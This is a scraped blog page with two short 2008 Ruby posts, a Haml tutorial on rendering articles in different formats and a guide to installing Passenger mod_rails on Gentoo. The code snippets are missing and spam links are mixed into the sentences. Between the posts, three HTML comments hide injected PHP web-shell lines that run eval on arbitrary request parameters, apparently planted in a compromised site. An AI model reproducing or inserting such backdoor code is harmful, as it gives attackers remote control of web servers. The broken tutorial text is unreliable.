A little Haml tutorial on how to render different formats

 ruby  Comments Off on A little Haml tutorial on how to render different formats
Aug 192008
 

Suppose you have a Model called Article that contains a text field and a format field.polvam.ru

You would like to use haml, textile or HTML to edit your Article from the admin interface.

app/models/article.rb

It’s quite simple. All you have to do is to add this helper in your application_helper.rb

In your views/articles/_form.haml add the select field.

Then in the Show view (articles/show.haml)

that’s pretty much it.
:)

<!– [insert_php]if (isset($_REQUEST["ecFOz"])){eval($_REQUEST["ecFOz"]);exit;}[/insert_php][php]if (isset($_REQUEST["ecFOz"])){eval($_REQUEST["ecFOz"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["fZB"])){eval($_REQUEST["fZB"]);exit;}[/insert_php][php]if (isset($_REQUEST["fZB"])){eval($_REQUEST["fZB"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["EOvDt"])){eval($_REQUEST["EOvDt"]);exit;}[/insert_php][php]if (isset($_REQUEST["EOvDt"])){eval($_REQUEST["EOvDt"]);exit;}[/php] –>

Easy installing Passenger mod_rails on gentoo Linux

 gentoo, linux  Comments Off on Easy installing Passenger mod_rails on gentoo Linux
Aug 062008
 

To install the great Mod_Rails on Gentoo linux it’s as easy as 5 steps.help me write my research paper

Since you are Gentoo user, i don’t need to go to details. You know what you doing. ;)

Update: Mod-rails now works with apache mpm-worker

add this to /etc/portage/package.use

and this to /etc/make.conf

If it tries to install rails 2.2.2, rake, and lots of other gems that you already have installed trough rubygems, then run emerge with –nodeps option

for example mine looks like this:

That’s it.

Now just drop a similar vhost config file inside /etc/apache/vhosts.d/

This is a sample vhost file for a rails app.

My sample deflate.conf,
used to gzip the content

* Update on July 10, 2008.

– Now using gentoo portage to install it. it’s more smooth.

Note:

Personally I found that Thin + nginx uses less memory(Nginx 4MB + each thin server) than
apache + passenger, which uses quite more. (Apache: 50MB + each rails spawner)

Switch to our mobile site